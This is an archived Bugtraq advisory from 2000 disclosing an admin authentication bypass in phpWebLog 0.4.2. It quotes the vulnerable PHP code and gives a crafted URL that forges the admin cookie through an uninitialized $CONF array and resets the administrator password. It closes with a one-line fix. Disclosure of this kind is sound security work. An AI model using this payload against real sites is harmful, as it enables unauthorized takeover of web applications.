[LWN Logo]
[Timeline]
Date:         Sat, 2 Dec 2000 16:21:55 -0000
From: =?iso-8859-1?Q?Jo=E3o_Gouveia?= <cercthar@TELEWEB.PT>
Subject:      Bypassing admin authentication in phpWebLog
To: BUGTRAQ@SECURITYFOCUS.COM

Note: Although this software is still in beta stage, there are many websites
using it, so i think it's a relevant issue.

Author: Jason Hines
Homepage: http://www.phpweblog.org |
http://sourceforge.net/projects/phpweblog/
Version: 0.4.2 ( others? )
Problem: in common.inc.php, $CONF is not properly initialized as an array,
thus allowing users to alter the contents in it, wich can leed to bypass
administrator authentication.
Status: Author contacted 27 Nov 2000. For a quick fix, see below.

Description:

I'll try to show this by parts, hope it's clear enought.

snip of common.inc.php:
<quote>
/*== read in configuration data ==*/
$sql    = "SELECT * FROM T_Config";
$result = @mysql_query($sql,$db);
$nrows  = mysql_num_rows($result);

for ($i=0;$i<$nrows;$i++) {
        $A      = mysql_fetch_array($result);
        $CONF[$A["Name"]] = $A["Value"];
}
</quote>

$CONF is not being properly inicialized as an array, so, if we fill $CONF
with user-submited data, all the array values will revert to the first
character of the last position.
The last position is "language", so, if our language is set to be "english"
all values of $CONF will revert to 'e'.


snip of auth.inc.php:
<quote>
} elseif (!F_isAdmin()) {
        include("../include/header.inc.php");
        if (!empty($warn)) {
                F_logAccess("Failed login");
                F_notice("Invalid password. Try again.");
        }
(...)
(admin authenticated)
</quote>

snip of common.inc.php:
<quote>
function F_isAdmin() {
        global  $HTTP_COOKIE_VARS,$CONF;
        $name   = md5($CONF["SiteKey"] . "_admin");
        #echo $HTTP_COOKIE_VARS[$name];
        #echo crypt("admin",$CONF["SiteKey"]);
        return ($HTTP_COOKIE_VARS[$name]==md5(rot13($CONF["SiteKey"])) ? 1 :
0);
}
</quote>

As we can se here, authentication is based on matching data with $CONF
values, so we will do:
calculate md5() of "<first char of language>_admin".
Calculate md5(rot13("<first char of language>"))

snip of submit.php:
<quote>
case "config-extend":
        $tmp    = urlencode("Changes Saved.");
        if (!empty($Passwd) || !empty($Passwd2)) {
                if ($HTTP_POST_VARS["Passwd"]==$HTTP_POST_VARS["Passwd2"]) {
                        $sql    = "UPDATE T_Config set ";
                        $sql    .= "Value = '" .
md5($HTTP_POST_VARS["Passwd"]) . "' ";
                        $sql    .= "WHERE Name = 'Passwd'";
                        $RET    = @mysql_query($sql,$db);
(...)
(admin password changed)
</quote>

With the calculations obtained above, we'll submit for example the url (
based on english configuration ):

http://phpweblog.vuln.site/submit.php?CONF=anything&HTTP_COOKIE_VARS[7f15a2e
7f0a543eacb3efbd098ced7f2]=4b43b0aee35624cd95b910189b3dc231&what=config-exte
nd&HTTP_POST_VARS[Passwd]=mypass&HTTP_POST_VARS[Passwd2]=mypass&Passwd=mypas
s&Passwd2=mypass

There will be a bounch of php errors. Just ignore them, go to the admin area
and put in your new password.

Assigning values to HTTP_*_VARS like in the above example, will only work in
PHP versions below 4.0 rc1
Still, any user can submit this same values using other methods, achiving
the same results.

Of course, all of this is suposing that the administrator(s) changed the
SiteKey value, whitch is by default "phpWebLog". Obvious this value _should_
be changed. If not, just don't issue the $CONF value, and calculate the
HTTP_COOKIE_VARS values based on "phpWebLog" instead of 'e'.

Quick fix:
in common.inc.php, before:
<quote>
for ($i=0;$i<$nrows;$i++) {
        $A      = mysql_fetch_array($result);
        $CONF[$A["Name"]] = $A["Value"];
}
</quote>
put: $CONF = array();
Always remember to change your default "SiteKey".

Best regards,

Joao Gouveia aka Tharbad.